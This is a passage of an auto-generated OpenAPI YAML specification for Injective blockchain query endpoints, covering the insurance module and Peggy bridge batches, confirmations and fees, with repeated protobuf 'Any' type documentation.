| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| expiry: | |
| type: string | |
| format: int64 | |
| description: >- | |
| Expiration time of the derivative market. Should be | |
| -1 for perpetual or -2 | |
| for binary options markets. | |
| title: >- | |
| insurance_funds describes the insurance funds available | |
| for derivative | |
| markets | |
| redemption_schedule: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| id: | |
| type: string | |
| format: uint64 | |
| title: id of redemption schedule | |
| marketId: | |
| type: string | |
| title: marketId of insurance fund for the redemption | |
| redeemer: | |
| type: string | |
| title: address of the redeemer | |
| claimable_redemption_time: | |
| type: string | |
| format: date-time | |
| title: the time after which the redemption can be claimed | |
| redemption_amount: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an | |
| amount. | |
| NOTE: The amount field is an Int which implements | |
| the custom method | |
| signatures required by gogoproto. | |
| title: the insurance_pool_token amount to redeem | |
| title: >- | |
| redemption_schedule describes the redemption requests | |
| pending | |
| next_share_denom_id: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| next_share_denom_id describes the next share denom id to | |
| be used for newly | |
| creating insurance fund incremented by 1 per insurance | |
| fund creation | |
| next_redemption_schedule_id: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| next_redemption_schedule_id describes next redemption | |
| schedule id to be | |
| used for next schedule incremented by 1 per redemption | |
| request | |
| description: GenesisState defines the insurance module's genesis state. | |
| description: |- | |
| QueryModuleStateResponse is the response type for the | |
| Query/InsuranceModuleState RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/insurance/v1beta1/params: | |
| get: | |
| summary: Retrieves insurance params | |
| operationId: InsuranceParams | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| params: | |
| type: object | |
| properties: | |
| default_redemption_notice_period_duration: | |
| type: string | |
| title: >- | |
| default_redemption_notice_period_duration defines the | |
| default minimum | |
| notice period duration that must pass after an underwriter | |
| sends a | |
| redemption request before the underwriter can claim his | |
| tokens | |
| description: |- | |
| QueryInsuranceParamsRequest is the response type for the | |
| Query/InsuranceParams RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/insurance/v1beta1/pending_redemptions: | |
| get: | |
| summary: Retrieves pending redemptions' share token at current price | |
| operationId: PendingRedemptions | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| amount: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the custom | |
| method | |
| signatures required by gogoproto. | |
| description: |- | |
| QueryPendingRedemptionsResponse is the response type for the | |
| Query/PendingRedemptions RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: marketId | |
| in: query | |
| required: false | |
| type: string | |
| - name: address | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/batch: | |
| get: | |
| operationId: BatchRequestByNonce | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| batch: | |
| type: object | |
| properties: | |
| batch_nonce: | |
| type: string | |
| format: uint64 | |
| batch_timeout: | |
| type: string | |
| format: uint64 | |
| transactions: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| id: | |
| type: string | |
| format: uint64 | |
| sender: | |
| type: string | |
| dest_address: | |
| type: string | |
| erc20_token: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum ERC20 | |
| token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this could | |
| be a Cosmos | |
| originated token, if so it will be the ERC20 address | |
| of the representation | |
| (note: developers should look up the token symbol | |
| using the address on ETH to | |
| display for UI) | |
| erc20_fee: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum ERC20 | |
| token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this could | |
| be a Cosmos | |
| originated token, if so it will be the ERC20 address | |
| of the representation | |
| (note: developers should look up the token symbol | |
| using the address on ETH to | |
| display for UI) | |
| title: >- | |
| OutgoingTransferTx represents an individual send from | |
| Peggy to ETH | |
| token_contract: | |
| type: string | |
| block: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| OutgoingTxBatch represents a batch of transactions going from | |
| Peggy to ETH | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: nonce | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: contract_address | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/batch/confirms: | |
| get: | |
| operationId: BatchConfirms | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| confirms: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| nonce: | |
| type: string | |
| format: uint64 | |
| token_contract: | |
| type: string | |
| eth_signer: | |
| type: string | |
| orchestrator: | |
| type: string | |
| signature: | |
| type: string | |
| title: >- | |
| MsgConfirmBatch | |
| When validators observe a MsgRequestBatch they form a batch | |
| by ordering | |
| transactions currently in the txqueue in order of highest to | |
| lowest fee, | |
| cutting off when the batch either reaches a hardcoded | |
| maximum size (to be | |
| decided, probably around 100) or when transactions stop | |
| being profitable | |
| (TODO determine this without nondeterminism) This message | |
| includes the batch | |
| as well as an Ethereum signature over this batch by the | |
| validator | |
| ------------- | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: nonce | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: contract_address | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/batch/last: | |
| get: | |
| operationId: LastPendingBatchRequestByAddr | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| batch: | |
| type: object | |
| properties: | |
| batch_nonce: | |
| type: string | |
| format: uint64 | |
| batch_timeout: | |
| type: string | |
| format: uint64 | |
| transactions: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| id: | |
| type: string | |
| format: uint64 | |
| sender: | |
| type: string | |
| dest_address: | |
| type: string | |
| erc20_token: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum ERC20 | |
| token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this could | |
| be a Cosmos | |
| originated token, if so it will be the ERC20 address | |
| of the representation | |
| (note: developers should look up the token symbol | |
| using the address on ETH to | |
| display for UI) | |
| erc20_fee: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum ERC20 | |
| token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this could | |
| be a Cosmos | |
| originated token, if so it will be the ERC20 address | |
| of the representation | |
| (note: developers should look up the token symbol | |
| using the address on ETH to | |
| display for UI) | |
| title: >- | |
| OutgoingTransferTx represents an individual send from | |
| Peggy to ETH | |
| token_contract: | |
| type: string | |
| block: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| OutgoingTxBatch represents a batch of transactions going from | |
| Peggy to ETH | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: address | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/batch/outgoingtx: | |
| get: | |
| operationId: OutgoingTxBatches | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| batches: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| batch_nonce: | |
| type: string | |
| format: uint64 | |
| batch_timeout: | |
| type: string | |
| format: uint64 | |
| transactions: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| id: | |
| type: string | |
| format: uint64 | |
| sender: | |
| type: string | |
| dest_address: | |
| type: string | |
| erc20_token: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum ERC20 | |
| token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this | |
| could be a Cosmos | |
| originated token, if so it will be the ERC20 | |
| address of the representation | |
| (note: developers should look up the token symbol | |
| using the address on ETH to | |
| display for UI) | |
| erc20_fee: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum ERC20 | |
| token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this | |
| could be a Cosmos | |
| originated token, if so it will be the ERC20 | |
| address of the representation | |
| (note: developers should look up the token symbol | |
| using the address on ETH to | |
| display for UI) | |
| title: >- | |
| OutgoingTransferTx represents an individual send from | |
| Peggy to ETH | |
| token_contract: | |
| type: string | |
| block: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| OutgoingTxBatch represents a batch of transactions going | |
| from Peggy to ETH | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Query | |
| /peggy/v1/batchfees: | |
| get: | |
| operationId: BatchFees | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| batchFees: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| token: | |
| type: string | |
| total_fees: | |
| type: string | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Query | |
| /peggy/v1/confirms/{nonce}: | |
| get: | |
| operationId: ValsetConfirmsByNonce | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| confirms: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| nonce: | |
| type: string | |
| format: uint64 | |
| orchestrator: | |
| type: string | |
| eth_address: | |
| type: string | |
| signature: | |
| type: string | |
| description: >- | |
| MsgValsetConfirm | |
| this is the message sent by the validators when they wish to | |
| submit their | |
| signatures over the validator set at a given block height. A | |
| validator must | |
| first call MsgSetEthAddress to set their Ethereum address to | |
| be used for | |
| signing. Then someone (anyone) must make a ValsetRequest the | |
| request is | |
| essentially a messaging mechanism to determine which block | |
| all validators | |
| should submit signatures over. Finally validators sign the | |
| validator set, | |
| powers, and Ethereum addresses of the entire validator set | |
| at the height of a | |
| ValsetRequest and submit that signature with this message. | |
| If a sufficient number of validators (66% of voting power) | |
| (A) have set | |
| Ethereum addresses and (B) submit ValsetConfirm messages | |
| with their | |
| signatures it is then possible for anyone to view these | |
| signatures in the | |
| chain store and submit them to Ethereum to update the | |
| validator set | |
| ------------- | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
